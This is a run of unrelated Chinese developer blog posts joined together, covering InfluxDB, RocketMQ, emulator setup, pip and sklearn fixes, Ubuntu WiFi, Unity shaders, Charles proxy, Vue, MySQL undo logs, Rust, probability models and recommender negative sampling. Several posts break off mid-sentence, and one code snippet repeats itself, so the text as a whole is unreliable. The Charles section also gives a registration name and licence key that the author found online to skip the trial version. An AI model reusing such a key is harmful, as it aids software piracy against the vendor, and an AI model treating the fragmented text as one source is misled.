目录 一、什么是时序数据库 1、时序数据库 InfluxDb 2、InfluxDB 的特点 3、influxdb 数据模型 4、influxdb 时间线 5、influxdb 系统架构 二、influxdb的安装 1.Windows电脑安装influxdb时序数据库 1、influxdb解压安装 2、启动influxdb数据库 3、启动客户端测试是否服务器启动成功 三、influxdb 基本操作 1、InfluxDB数据库操作 显示数据库 创建数据库 删除数据库 使用指定数据库 2、InfluxDB 数据表操作 显示所有表 新建表 查询表数据 删除表 3、数据保存策略(Retention Policies) 保留策略语法 创建数据保留策略 查看保留期 修改保留期 删除保留期 4、用户操作 显示用户 创建用户 修改用户密码 删除用户 5、数据库访问权限 用户授权 撤销授权 四、influxdb 开启用户登录认证 1、开启登录认证 2、开启认证后无密码登录 3、开启认证后有密码登录 一、什么是时序数据库 什么是时序数据库?时序数据库是近几年一个新的概念,与传统的Mysql关系型数据库相比,它的最大的特点是:数据按照时间顺序存储。 举例来说,日志数据,是以时间顺序存储的,所以用时序数据库存储是一种很好的选择。使用Mysql在存储的过程中,不是对这种基于时间的数据进行优化的,所以,在查询、插入上有一些瓶颈。 1、时序数据库 InfluxDb InfluxDB是一个用于存储和分析时间序列数据的开源数据库。也是使用最多的一个时序数据库。 2、InfluxDB 的特点 InfluxDB有很多特点,如下: 内置HTTP接口,使用方便 数据可以打标记,这样查询可以很灵活 类SQL的查询语句 安装管理很简单,并且读写数据很高效 能够实时查询,数据在写入时被索引后就能够被立即查出 3、influxdb 数据模型 measurement:数据库中的表; points:表里面的一行数据。 Point由时间戳(time)、数据(field)和标签(tags)组成:

RocketMQ—(总结)一篇就搞懂RocketMQ

一、RocketMQ 是什么? 是一个队列模型的消息中间件,具有高性能、高可靠、高实时、分布式特点;Producer、Consumer、队列都可以分布式;Producer向一些队列轮流发送消息,队列集合称为Topic,Consumer如果做广播消费,则一个consumer实例消费这个Topic对应的所有队列,如果做集群消费,则多个Consumer实例平均消费这个topic对应的队列集合;能够保证严格的消息顺序;提供丰富的消息拉取模式;高效的订阅者水平扩展能力;实时的消息订阅机制;亿级消息堆积能力;较少的依赖。 二、RocketMQ基本概念 2.1 消息模型(Message Model) RocketMQ主要由Producer、Broker、Consumer三部分组成,其中Producer负责生产消息,Consumer负责消费消息,Broker负责存储消息。Broker在实际部署过程中对应一台服务器,每个Broker可以存储多个Topic的消息,每个Topic的消息也可以分片存储于不同的Broker。MessageQueue用于存储消息的物理地址,每个Topic中的消息地址存储于多个MessageQueue中。ConsumerGroup由多个Consumer实例构成。 2.2 消息生产者(Producer) 负责生产消息,一般由业务系统负责生产消息。一个消息生产者会把业务应用系统里产生的消息发送到broker服务器。RocketMQ提供多种发送方式,同步发送、异步发送、顺序发送、单向发送。同步和异步方式均需要Broker返回确认信息,单向发送不需要。 2.3 消息消费者(Consumer) 负责消费消息,一般是后台系统负责异步消费。一个消息消费者会从Broker服务器拉取消息、并将其提供给应用程序。从用户应用的角度而言提供了两种消费形式:拉取式消费、推动式消费。 2.4 主题(Topic) 表示一类消息的集合,每个主题包含若干条消息,每条消息只能属于一个主题,是RocketMQ进行消息订阅的基本单位。 2.5 代理服务器(Broker Server) 消息中转角色,负责存储消息、转发消息。代理服务器在RocketMQ系统中负责接收从生产者发送来的消息并存储、同时为消费者的拉取请求作准备。代理服务器也存储消息相关的元数据,包括消费者组、消费进度偏移和主题和队列消息等。 2.6 名字服务(Name Server) 名称服务充当路由消息的提供者。生产者或消费者能够通过名字服务查找各主题相应的BrokerIP列表。多个Namesrv实例组成集群,但相互独立,没有信息交换。 2.7 拉取式消费(Pull Consumer) Consumer消费的一种类型,应用通常主动调用Consumer的拉消息方法从Broker服务器拉消息、主动权由应用控制。一旦获取了批量消息,应用就会启动消费过程。 2.8 推动式消费(Push Consumer) Consumer消费的一种类型,该模式下Broker收到数据后会主动推送给消费端,该消费模式一般实时性较高。 2.9 生产者组(Producer Group) 同一类Producer的集合,这类Producer发送同一类消息且发送逻辑一致。如果发送的是事务消息且原始生产者在发送之后崩溃,则Broker服务器会联系同一生产者组的其他生产者实例以提交或回溯消费。 2.10 消费者组(Consumer Group) 同一类Consumer的集合,这类Consumer通常消费同一类消息且消费逻辑一致。消费者组使得在消息消费方面,实现负载均衡和容错的目标变得非常容易。要注意的是,消费者组的消费者实例必须订阅完全相同的Topic。RocketMQ支持两种消息模式:集群消费(Clustering)和广播消费(Broadcasting)。 2.11 集群消费(Clustering) 集群消费模式下,相同Consumer Group的每个Consumer实例平均分摊消息。 2.12 广播消费(Broadcasting) 广播消费模式下,相同Consumer Group的每个Consumer实例都接收全量的消息。 2.13 普通顺序消息(Normal Ordered Message) 普通顺序消费模式下,消费者通过同一个消息队列(Topic分区,称作Message Queue)收到的消息是有顺序的,不同消息队列收到的消息则可能是无顺序的。 2.14 严格顺序消息(Strictly Ordered Message) 严格顺序消息模式下,消费者收到的所有消息均是有顺序的。 2.15 消息(Message) 消息系统所传输信息的物理载体,生产和消费数据的最小单位,每条消息必须属于一个主题。RocketMQ中每个消息拥有唯一的Message ID,且可以携带具有业务标识的Key。系统提供了通过Message ID和Key查询消息的功能。 2.16 标签(Tag) 为消息设置的标志,用于同一主题下区分不同类型的消息。来自同一业务单元的消息,可以根据不同业务目的在同一主题下设置不同标签。标签能够有效地保持代码的清晰度和连贯性,并优化RocketMQ提供的查询系统。消费者可以根据Tag实现对不同子主题的不同消费逻辑,实现更好的扩展性。 三、RocketMQ特性(features) 3.

Android Studio自带模拟器解决中文输入问题以及将模拟器内语言改成中文

1.将模拟机内语言改成中文 setting内找到Language–>点击最上面的选项–>添加简体中文(中国)–>添加完成后点击右边两道横杠处将其移动到第一位–>点击界面最上边三个点处Remove将English移除,整个界面将会变成中文 2.让输入法可以输入中文 问题一:查找Android自带输入法发现并没有中文选项,因此需要下载一个新的输入法 问题二:用模拟机内自带的浏览器下载输入法发现与模拟机不兼容 解决方法:在电脑本机内先下载好搜狗输入法x86版apk然后移动到模拟机内 下载链接🔗:http://www.mdpda.com/app/apk3670941.html 下载后鼠标拖动即可安装到模拟机内,之后选择屏幕键盘,管理屏幕键盘将搜狗有输入法x86版选中,之后就可以使用中文输入了。 点击右下角小键盘标识处可更改输入法 然而我的输入法有一个问题就是无法打开搜狗输入法的设置,输入时键盘在最下面无法弹出来希望有人能解答一下,万分感谢!!

基于Jupyter和Anacoda解决ImportError: cannot import name ‘CategoricalNB‘ from ‘sklearn.naive_bayes‘;cannot

解决历程 找了半天方法,最后发现sklearn的版本需要更新…… 我使用的是Jupyter,所以在anacoda中更新版本了。顺便记录下怎么在anacoda中更新包吧。 在anacoda prompt 中输入命令conda update --all 将会更新所有包。 输入conda update package 或者 pip install --upgrade package 即更新某个包 但我输入上述的命令依旧不行…… 最后想将sklearn包先卸载了,再重新导入的。 命令 pip uninstall sklearn 卸载。 用清华镜像源 -i https://pypi.tuna.tsinghua.edu.cn/simple安装比较快。 然后, 依旧还是0.0版本,一口老血吐出来…… 最终解决方法 又找了半天,发现这个命令 pip install --user --upgrade -i https://pypi.tuna.tsinghua.edu.cn/simple --ignore-installed scikit-learn 才是最终的解决办法 重启Jupyter查看版本: 版本更新成功

Ubuntu 20系统WIFI断连问题

最近工作需要购置了一台GPU机器,然后搭建了深度学习的运行环境,在工作中将这台机器当做深度学习的服务器来使用,前期已经配置好多用户以及基础环境。但最近通过xshell连接总是不间断的出现断连现象。 下面记录下,为此主要进行的操作。 1.IP地址一直在变,修改IP地址为静态IP地址。 ip a 查看网卡设备号 sudo vim /etc/netplan/XXX.yaml (XXX每个人可能不一样),yaml里面内容修改如下: network: ethernets: wlo1: #配置的网卡的名称 addresses: [192.168.5.1/24] #配置的静态ip地址和掩码 dhcp4: no #关闭DHCP,如果需要打开DHCP则写yes optional: true gateway4: 192.168.5.1 #网关地址 nameservers: addresses: [114.114.114.114,180.76.76.76] #DNS服务器地址 version: 2 renderer: networkd 保存修改后,下面命令生效。 sudo netplan apply 2.电源管理模块关闭了wifi硬件 sudo iwconfig sudo iwconfig wlo1 power off # 其中wlo1是具体网卡名称 上述方案经实验,WIFI不会频繁断开了。但是这个每次开机都要重新配置,比较麻烦。后经查询可以通过以下设置来解决。 vim /etc/NetworkManager/conf.d/default-wifi-powersave-on.conf 修改wifi.powersave = 2 至此就能解决WiFi断连问题。 3.系统休眠状态下会断网 直接在电源管理页面中将电脑休眠设置为从不休眠,这样就不会断网。 还有一个设置方案,重启 network kernel modules/drivers。 sudo lshw -C network 找到configuration字段中driver=your_kernel_name 然后运行以下命令: sudo modprobe -r your_kernel_name

Unity ShaderLab 常用函数

Unity ShaderLab 常用函数 CG标准库: https://developer.download.nvidia.cn/cg/index_stdlib.html //数学函数 abs(x):绝对值 sin(x):正弦,输入为弧度 cos(x):正弦,输入为弧度 sincos(x,out s,out c):s=sin(x),c=cos(x) ceil(x):向上取整 floor(x):向下取整(floor(-1.3)= -2) round(x):四舍五入 frac(x):取x的小数部分 degrees 弧度到角度的转换 fmod 返回a / b的浮点余数。 clamp(x,a,b):把x截取到[a,b] saturate(x):把x截取到[0,1] lerp(a,b,f):(1-f) * a + f * b step(a,x):返回x>=a smoothstep(min,max,x):x=min时返回0,x=max时返回1;否则返回下式的值 pow(x,y):计算x的y次方 sqrt(x):计算x的算术平方根 noise(x):返回根据x生成的伪随机数,范围[0,1] min(a,b):取最小 max(a,b):取最大 normalize(x):把x化为单位向量 length(x):返回向量x的模 distance(x,y):计算x,y的欧氏距离 dot(a,b):点积 cross(a,b):叉积 mul(a,b):乘法 光照函数: reflect(I,N):反射函数,I为入射光向量,N为反射表面的法向量,返回反射光向量 refract(I,N,eta):折射函数,I为入射光向量,N为反射表面的法向量,eta是介质折射率,返回折射光向量 纹理采样: tex2D(sampler2D samp,float2 s):samp是待采样的纹理,s是纹理坐标

charles配置

移动端用charles抓包,先在电脑上安装charles软件。然后添加相关配置。 SSL proxying settings 为了可以进行https的抓包,一般需要配置一下ssl proxying settings。在菜单栏Proxy -> SSL proxying settings, 勾选Enable SSL Proxying,并添加location配置,如下: Register Charles 随便在网上搜一下就可以找到注册码,我这里随便找了一个。在菜单栏Help -> Register Charles里填写上注册信息,不然后续会被视作是试用版的。 Registered Name:https://zhile.io License Key: 48891cf209c6d32bf4 默认设置的,一般这样就够了。 需要注意的是:如果电脑本身有用过别的代理配置,在抓包的时候可能会有冲突,需要先去除掉电脑本身别的代理配置。 在移动设备上安装证书进行抓包 安装之前,先在电脑上把charles打开。然后移动设备也连接到和电脑同一个局域网下,在联网的时候把wifi的代理跳成手动设置代理,然后输入电脑的ip地址,端口号默认填写8888(这是charles默认的端口,有自定义过的请自行更改)。 。 连成功后,电脑上charles会收到提醒,是否允许连接到电脑,选择Allow。手机就可以连上电脑的charles代理了。 接下来是安装证书,这样在抓包https的资源时候,才不会被一直提示网站证书有安全性问题等,甚至会导致https资源抓包失败的。 1、IOS设备安装证书 ios设备(比如iPhone),在进行charles抓包配置的时候。在菜单栏找到安装移动端证书的指引:Help -> SSL Proxying -> Install charles root certification on a Mobile Device or Remote Browser. 注意:iPhone需要用系统自带的浏览器Safari来打开页面chls.pro/ssl,进行证书下载。 下载完成的证书可以在设置里进行安装,安装完成后可以在设置 - 通用 - 描述文件与设备管理里看到刚刚安装的证书,说明安装成功,如下图: 注意,接下来还需要启用这个证书。启用证书是在:设置 -> 通用 -> 关于本机 -> 证书信任设置,在这里勾选上我们刚刚安装完成的证书,如下图: 这样,IOS设备的证书就安装好了。 2、Android设备安装证书 跟IOS设备的安装类似,不同的是安卓要用非自带的浏览器来安装(比如UC浏览器,或者qq浏览器等),下载证书到本地。然后在设置中找到系统安全的设置页(不同设备可能不同),我的小米手机是在设置 -> 密码与安全 -> 系统安全 -> 加密与凭据 -> 从存储设备安装,然后找到下载好的证书,安装。

vue使用elementUI的折叠表格只出现父级,没有子菜单,另附树形菜单递归写法

使用的vue模板搭建的项目,在做表格的树形菜单时候,没有展现出层级关系,只展示了父级菜单,下面是修改后可以展开的正常效果:不然只有一行父级菜单 返回的数据节后也是符合要求的,有children等子节点的数据,后来发现,是版本的问题,vue模板的elementui的模板版本是2.4.6: 使用命令安装新版 cnpm install --save element-ui@2.12.0: 重启项目,运行成功可以看到,多级菜单也是没有问题的: 这里附上后端的接口树形菜单的递归写法: 首先是查询树形结构方法selectDeptTree,查出全部的部门数据sysDeptList,定义方法buildSysDept,把部门数据作为参数传入,代码如下 public List<SysDept> selectDeptTree() { QueryWrapper<SysDept> wrapper=new QueryWrapper<>(); List<SysDept> sysDeptList = this.list(wrapper); List<SysDept> resultList=buildSysDept(sysDeptList); return resultList; } 创建buildSysDept方法,作用是查出第一级的父级菜单,初始化finalList集合,用来存放最终返回的数据,遍历所有数据sysDeptList,其中pid为0的就是一级菜单,再调用getDeptChirld递归方法,传入当前一级菜单sysDept与所有数据sysDeptList,再将查出来的此一级菜单下的所有子菜单都添加到最终集合finalList, private List<SysDept> buildSysDept(List<SysDept> sysDeptList) { List<SysDept> finalList=new ArrayList<>(); for (SysDept sysDept:sysDeptList) { if (sysDept.getPid()==0){ SysDept childNode=getDeptChirld(sysDept,sysDeptList); finalList.add(childNode); } } return finalList; } 再创建递归方法getDeptChirld:此方法的返回值为部门信息SysDept ,初始化一级部门的子节点Children,遍历所有部门信息,当前部门的父级id等于一级部门的id,则当前部门属于父级部门的子级,判断当前节点的子节点是否为空,为空就初始化子节点,再调用本身,把子节点和所有数据传入,再走一遍,查看该节点是否还在有子节点,把查出来的子节点添加到当前节点sysDept private SysDept getDeptChirld(SysDept sysDept, List<SysDept> sysDeptList) { sysDept.setChildren(new ArrayList<>()); for (SysDept childPer:sysDeptList) { if (childPer.getPid().equals(sysDept.getId())){ if (childPer.getChildren()==null){ childPer.setChildren(new ArrayList<>()); } SysDept deptChirld = getDeptChirld(childPer, sysDeptList); sysDept.

vue-socket.io的基本使用

第一步 安装vue-socket.io npm install vue-socket.io --save 第二步 在main.js引入 // vue-socket.IO import VueSocketIO from 'vue-socket.io' // socket 连接参数 Vue.use(new VueSocketIO({ debug: true, //false可以关闭打印 connection: config.socketUrl, //链接地址动态 connection: http://192.168.101.49:8090, //填写自己的固定地址 })) 第三步 在要使用的页面进行使用 computed: { isWideView() { return this.$store.state.isWideView; }, isMakeEventDialogVisible() { return this.$store.state.isMakeEventDialogVisible; }, }, computed: { isWideView() { return this.$store.state.isWideView; }, isMakeEventDialogVisible() { return this.$store.state.isMakeEventDialogVisible; }, }, sockets: { connect(dataStr) { //开始链接 console.log('链接中') }, clientEvent(data){ //和后端约定好事件名称,后端发来的 console.log(data) this.tableData.records.map((v,i,arr)=>{ if(v.ip===data.roomId){ if(data.

pip命令安装第三方库报错Failed cleaning build dir for cryptography的解决方案

问题描述 pip命令安装第三方库报错时,提示这样的错误信息: Failed cleaning build dir for cryptography Failed to build cryptography Could not build wheels for cryptography which use PEP 517 and cannot be installed directly 比如,安装selenium失败,如下图: 解决方案 根据提示信息,给pip版本进行升级 python -m pip install --upgrade pip 执行成功后,就可以看到,你从什么版本升级到什么版本了 再执行前面失败的安装命令即可(安装完即会提示Successfully) 万一哈,如果不成功 可以再尝试执行这两行命令 pip install --only-binary :all: cryptography pip install -i https://pypi.tuna.tsinghua.edu.cn/simple 走过路过的朋友,如果有实战没解决,或者有其他解决方案的,欢迎在评论区进行讨论

ES6——class类实现选项卡切换

html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>简单的选项卡功能</title> <style> .tab .tab-content{ display: none; } .tab .tab-content.active{ display: block; } </style> </head> <body> <div class="app"> <div class="tab tab-wrapper"> <div class="tab-btn"> <button class="tab-btn-item">tab选项1</button> <button class="tab-btn-item">tab选项2</button> <button class="tab-btn-item">tab选项3</button> <button class="tab-btn-item">tab选项4</button> <button class="tab-btn-item">tab选项5</button> </div> <div class="tab-content">tab内容1</div> <div class="tab-content">tab内容2</div> <div class="tab-content">tab内容3</div> <div class="tab-content">tab内容4</div> <div class="tab-content">tab内容5</div> </div> </div> <script src="./js/tab.js"></script> </body> </html> js ​ class Tab{ constructor(wrapper) { this.

(css)解决弹窗下的下拉选择框被遮挡或显示不全问题

(css)解决弹窗下的下拉选择框被遮挡或显示不全问题 修改前: 原因: 1.原框架设置了overflow:hidden或auto,使得内容超出后会自动出现滚动条。 2.设置了定位 解决方案: 将overflow的值改成visible 且用position: static !important;来清除定位 /deep/ .ivu-table, /deep/.ivu-table-wrapper { overflow: visible; position: static !important; } 修改后: 解决参考:https://blog.csdn.net/qq_46258819/article/details/125778115 https://blog.csdn.net/weixin_30268555/article/details/117794363

时间序列预测

时间序列预测 时间序列建模面临的最直接的问题是:用多少时间步的历史数据预测未来多少时间步的未来数据,即时间窗问题 分为多步预测(预测未来多个时间节点)和单步预测(只预测下一个时间节点) 深度学习的滞后性 链接: https://blog.csdn.net/u011698800/article/details/107607277 对于滞后性可能的解决办法: 1)对序列(数据)进行平稳 2)样本数量增大 3)改变窗口的大小还有调整网络结构 但是仍有人说是因为误差,(不止一次见到这个说法),模型严重欠拟合,会拿当前时刻的数据直接作为下一个时刻的预测数据。图形上看是滞后,其实是预测误差。 滞后特征 一般是用滞后特征来训练模型,也就是当前时刻之前的数据 链接: https://zhuanlan.zhihu.com/p/308764952 周期约接近当前时间点的滞后特征预测效果越好,间隔时间越长效果越差。 预测方法 链接: https://zhuanlan.zhihu.com/p/390093091 有直接法、递归法和两者的混合法 时间序列分解 时间序列是一组按照时间发生先后顺序进行排列,并且包含一些信息的数据点序列,在时间序列数据中通常包含了数据的发展趋势(向上、向下、保持)和数据的变化规律(季节性)等特征。而这些特征往往具有一定的规律性和可预测性,具体来说时间序列数据具有如下几种特点: 趋势性:某个变量随着时间进展或自变量变化,呈现一种比较缓慢而长期的持续上升、下降、保存不变的趋向,但变动幅度可能不相等。 季节性:某因素由于外部影响如随着自然季节的交替出现高峰与低谷的规律。 随机性:个别时刻呈现随机变动,整体呈统计规律。 链接: https://blog.csdn.net/weixin_42608414/article/details/125850603

SOLIDWORKS知识点——巧用配合参考

首先先建模,两个零件建模完成后分别进行参考几何体里的配合参考,然后进行装配时,自动就会配合好,不用在装配体里再花费时间。

Undo log日志详解

今天和大家分享一下Undo log日志的知识点 1.什么是undo log? 撤销日志,在数据库事务开始之前,MYSQL会去记录更新前的数据到undo log文件中。如果事务回滚或者数据库崩溃时,可以利用undo log日志中记录的日志信息进行回退。同时也可以提供多版本并发控制下的读(MVCC)。(具体的MVCC实现机制详解看这篇博客) 2.undo log生命周期 undo log产生: 在事务开始之前生成 undo log销毁: 当事务提交之后,undo log并不能立马被删除,而是放入待清理的链表,由purge线程判断是否由其他事务在使用undo段中表的上一个事务之前的版本信息,决定是否可以清理undo log的日志空间。 注意: undo log也会生产redo log,undo log也要实现持久性保护。 3. uodo log日志的作用 首先简单说一下undolog 和redo log的区别 undo log是逻辑日志,实现事务的原子性 undo log记录的是事务[开始前]的数据状态,记录的是更新之前的值 undo log实现事务的原子性(提供回滚) redo log是物理日志,实现事务的持久性 redo log记录的是事务[完成后]的数据状态,记录的是更新之后的值 redo log实现事务的持久性(保证数据的完整性) 1.undo log日志可以实现事务的回滚操作 我们在进行数据更新操作的时候,不仅会记录redo log,还会记录undo log,如果因为某些原因导致事务回滚,那么这个时候MySQL就要执行回滚(rollback)操作,利用undo log将数据恢复到事务开始之前的状态。 如我们执行下面一条删除语句: delete from book where id = 1; 那么此时undo log会生成一条与之相反的insert 语句【反向操作的语句】,在需要进行事务回滚的时候,直接执行该条sql,可以将数据完整还原到修改前的数据,从而达到事务回滚的目的。 再比如我们执行一条update语句: update book set name = "三国" where id = 1; ---修改之前name=西游记 此时undo log会记录一条相反的update语句,如下:

Rust快速学习入门(第一节)

目录 0.背景 1. Hello World 2. 安装 3. 实战(猜数游戏) 4. 基本概念 4.1 变量的可变与不可变(mutable/imutable) 4.2 常量与变量 4.3 Shadow(影子变量) 4.4 Rust数据类型 4.5 函数简介 4.5 控制逻辑(if-else、loop/while/for) 0.背景 据说Rust要引入到Linux源码中,和C一起来做Linux的源码开发,所以凑个热闹,一起看了一下,本文仅作为入门了解,不作为专业介绍,详细专业介绍请参照官网介绍:Rust Programming Language Rust是一种静态编译型语言,和C类似,简单的理解就是它能做Linux操作系统,应该是挺NB的,具体应用场景,Rust官网首页中有明确介绍 命令行应用(CLI)WebAssembly(WebAssembly | MDN)网络服务(Network)嵌入式(Embeded) 1. Hello World 免安装在线体验Hello World,入口:Rust Playground,输入以下代码: fn main() { println!("Hellow Rust World! "); } 2. 安装 到这里下载相应的安装文件就可以了:入门 - Rust 程序设计语言 安装完成后,进入命令行,输入以下命令,这个是编译Rust用的,将rust源码编译成可执行程序,在windows中就是exe的文件: rustc --version 结果 说明安装成功,但其官方推荐的是使用cargo的管理工具,给我的理解cargo与Rust的关系,有点类似npm与js的关系: 3. 实战(猜数游戏) 我们用cargo创建一个猜数字游戏的命令行应用程序: cargo new guessnumber 找到src目录下的main.rs文件,输入如下代码 use rand::prelude::*; use std::cmp::Ordering; use std::io; fn main() { let mut rng = thread_rng(); let secret_number = rng.

机器学习中的概率模型

机器学习中的概率模型 转自:https://zhuanlan.zhihu.com/p/164551678 机器学习中的概率模型 概率论,包括它的延伸-信息论,以及随机过程,在机器学习中有重要的作用。它们被广泛用于建立预测函数,目标函数,以及对算法进行理论分析。如果将机器学习算法的输入、输出数据看作随机变量,就可以用概率论的观点对问题进行建模,这是一种常见的思路。本文对机器学习领域种类繁多的概率模型做进行梳理和总结,帮助读者掌握这些算法的原理,培养用概率论作为工具对实际问题进行建模的思维。要顺利地阅读本文,需要具备概率论,信息论,随机过程的基础知识。 为什么需要概率论? 概率模型是机器学习算法中的大家族,从最简单的贝叶斯分类器,到让很多人觉得晦涩难懂的变分推断,到处都有它的影子。为什么需要概率论?这是我们要回答的第一个问题。 与支持向量机、决策树、Boosting、k均值算法这些非概率模型相比,概率模型可以给我们带来下面的好处: 对不确定性进行建模。假如我们要根据一个人的生理指标预测他是否患有某种疾病。与直接给出简单的是与否的答案相比,如果算法输出结果是:他患有这种疾病的概率是0.9,显然后者更为精确和科学。再如强化学习中的马尔可夫决策过程,状态转移具有随机性,需要用条件概率进行建模。 分析变量之间的依赖关系。对于某些任务,我们要分析各个指标之间的依赖关系。例如,学历对一个人的收入的影响程度有多大?此时需要使用条件概率和互信息之类的方法进行计算。 实现因果推理。对于某些应用,我们需要机器学习算法实现因果之间的推理,这种模型具有非常好的可解释性,与神经网络之类的黑盒模型相比,更符合人类的思维习惯。 能够生产随机样本数据。有些应用要求机器学习算法生成符合某一概率分布的样本,如图像,声音,文本。深度生成模型如生成对抗网络是其典型代表。 整体概览 在机器学习中,有大量的算法都是基于概率的。下面这张图列出了机器学习、深度学习、强化学习中典型的算法和理论所使用的概率论知识,使得大家对全貌有所了解。接下来我们将分别讲述这些算法是怎么以概率论作为工具进行建模的。 有监督学习 贝叶斯分类器 贝叶斯分类器是使用概率解决分类问题的典型代表。它的想法很简单:根据贝叶斯公式直接计算样本 x \mathbf{x} x 属于每个类的概率 p ( y ∣ x ) p(y|\mathbf{x}) p(y∣x) p ( y ∣ x ) = p ( x ∣ y ) p ( y ) p ( x ) p(y|\mathbf{x})=\frac{p(\mathbf{x}|y)p(y)}{p(\mathbf{x})} p(y∣x)=p(x)p(x∣y)p(y)​ 这个概率也称为类后验概率。在这里 p ( y p(y p(y )是每个类出现的概率, p ( x ∣ y ) p(\mathbf{x}|y) p(x∣y) 是类条件概率,也是每个类的样本的特征向量 x \mathbf{x} x 所服从的概率分布。然后将样本判定为概率值最大的那个类

生活相关——C++编程开发学习的50条建议

每个从事C++开发的朋友相信都能给后来者一些建议,但是真正为此进行大致总结的很少。本文就给出了网上流传的对C++编程开发学习的50条建议,总结的还是相当不错的,编程学习者(不仅限于C++学习者)如果真的理解了这些建议,相信能够在学习时准确的抓住侧重点,少走弯路。下面列出这50条建议: 1、把C++当成一门新的语言学习(和C没啥关系!)。 2、看《Thinking In C++》,不要看《C++编程思想》。 3、看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看。 4、不要被VC、BCB、BC、MC、TC等词汇所迷惑--他们都是集成开发环境,而我们要学的是一门语言。 5、不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单,或者可以引伸出很多知识点。 6、会用Visual C++,并不说明你会C++。 7、学class并不难,template、STL、generic programming也不过如此,难的是长期坚持实践和不遗余力的博览群书。 8、如果不是天才的话,想学编程就不要想玩游戏--你以为你做到了,其实你的C++水平并没有和你通关的能力一起变高--其实可以时刻记住:学C++是为了编游戏的。 9、看Visual C++的书,是学不了C++语言的。 10、浮躁的人容易说:XX语言不行了,应该学YY;——是你自己不行了吧!? 11、浮躁的人容易问:我到底该学什么;——别问,学就对了; 13、浮躁的人容易说:我要中文版!我英文不行!——不行?学呀! 14、浮躁的人容易问:XX和YY哪个好;——告诉你吧,都好——只要你学就行。 15、浮躁的人分两种:a)只观望而不学的人;b)只学而不坚持的人。 16、把时髦的技术挂在嘴边,还不如把过时的技术记在心里。 17、C++不仅仅是支持面向对象的程序设计语言。 18、学习编程最好的方法之一就是阅读源代码。 19、在任何时刻都不要认为自己手中的书已经足够了。 20、请阅读《The Standard C++ Bible》(中文版:标准C++宝典),掌握C++标准。 21、看得懂的书,请仔细看;看不懂的书,请硬着头皮看。 22、别指望看第一遍书就能记住和掌握什么--请看第二遍、第三遍。 23、请看《Effective C++》和《More Effective C++》以及《Exceptional C++》。 24、不要停留在集成开发环境的摇篮上,要学会控制集成开发环境,还要学会用命令行方式处理程序。 25、和别人一起讨论有意义的C++知识点,而不是争吵XX行不行或者YY与ZZ哪个好。 26、请看《程序设计实践》,并严格的按照其要求去做。 27、不要因为C和C++中有一些语法和关键字看上去相同,就认为它们的意义和作用完全一样。 28、C++绝不是所谓的C的“扩充”--如果C++一开始就起名叫Z语言,你一定不会把C和Z语言联系得那么紧密。 29、请不要认为学过XX语言再改学C++会有什么问题--你只不过又在学一门全新的语言而已。 30、读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++。 31、学习编程的秘诀是:编程,编程,再编程。 32、请留意下列书籍:《C++面向对象高效编程(C++ Effective Object-Oriented Software Construction)》、《面向对象软件构造(Object-Oriented Software Construction)》、《设计模式(Design Patterns)》、《The Art of Computer Programming》。 33、记住:面向对象技术不只是C++专有的。 34、请把书上的程序例子亲手输入到电脑上实践,即使配套光盘中有源代码。 35、把在书中看到的有意义的例子扩充。 36、请重视C++中的异常处理技术,并将其切实的运用到自己的程序中。 37、经常回顾自己以前写过的程序,并尝试重写,把自己学到的新知识运用进去。 38、不要漏掉书中任何一个练习题--请全部做完并记录下解题思路。 39、C++语言和C++的集成开发环境要同时学习和掌握。 40、既然决定了学C++,就请坚持学下去,因为学习程序设计语言的目的是掌握程序设计技术,而程序设计技术是跨语言的。 41、就让C++语言的各种平台和开发环境去激烈的竞争吧,我们要以学习C++语言本身为主。 42、当你写C++程序写到一半却发现自己用的方法很拙劣时,请不要马上停手,请尽快将余下的部分粗略的完成以保证这个设计的完整性,然后分析自己的错误并重新设计和编写(参见43)。 43、别心急,设计C++的class确实不容易;自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的。 44、绝不要因为程序“很小”就不遵循某些你不熟练的规则--好习惯是培养出来的,而不是一次记住的。 45、每学到一个C++难点的时候,尝试着对别人讲解这个知识点并让他理解--你能讲清楚才说明你真的理解了。 46、记录下在和别人交流时发现的自己忽视或不理解的知识点。 47、请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.

复盘:推荐系统—— 负采样策略

复盘:推荐系统—— 负采样策略 提示:系列被面试官问的问题,我自己当时不会,所以下来自己复盘一下,认真学习和总结,以应对未来更多的可能性 关于互联网大厂的笔试面试,都是需要细心准备的 (1)自己的科研经历,科研内容,学习的相关领域知识,要熟悉熟透了 (2)自己的实习经历,做了什么内容,学习的领域知识,要熟悉熟透了 (3)除了科研,实习之外,平时自己关注的前沿知识,也不要落下,仔细了解,面试官很在乎你是否喜欢追进新科技,跟进创新概念和技术 (4)准备数据结构与算法,有笔试的大厂,第一关就是手撕代码做算法题 面试中,实际上,你准备数据结构与算法时以备不时之需,有足够的信心面对面试官可能问的算法题,很多情况下你的科研经历和实习经历足够跟面试官聊了,就不需要考你算法了。但很多大厂就会面试问你算法题,因此不论为了笔试面试,数据结构与算法必须熟悉熟透了 秋招提前批好多大厂不考笔试,直接面试,能否免笔试去面试,那就看你简历实力有多强了。 文章目录 复盘:推荐系统—— 负采样策略@[TOC](文章目录) 什么是负采样?为什么要进行负采样?负样本的分类?1、从采样方法的角度来划分,有以下几种方法:基于启发式的算法,基于模型的算法;基于启发式的算法有:基于模型的算法有: 2、从采样效率的角度来看,有以下几种方法:inbatch采样、uniform采样、MNS采样、CBNS采样;3、从推荐流程的角度来看,分为召回阶段的负采样方法,和排序阶段中的负采样方法。 总结 什么是负采样?为什么要进行负采样? 负采样,顾名思义,就是从一堆负样本中采样出一部分负样本,用于模型的训练。 之所以不采用所有的负样本,主要是为了降低模型的训练复杂度。 在负采样过程中,有几个问题需要重点考虑: (1)这么多负样本中,到底需要采出哪一部分负样本呢,需要采出多少才合适呢? 换句话说就是,如何保证负样本的质量? (2)还有考虑采样效率问题,比如需要采出多大数量的负样本? 在推荐系统中,用户喜欢的物品我们认为是正样本, 用户不喜欢物品我们认为是负样本。 而一般情况下,我们很难收集到负样本,且正样本占整个样本集又很少, 所以为了更好地训练模型,我们需要进行负采样, 而且从中采出一部分负例来协助模型的学习,提高模型的性能。 需要注意的是,在推荐系统中,还有一个概念叫伪负样本。 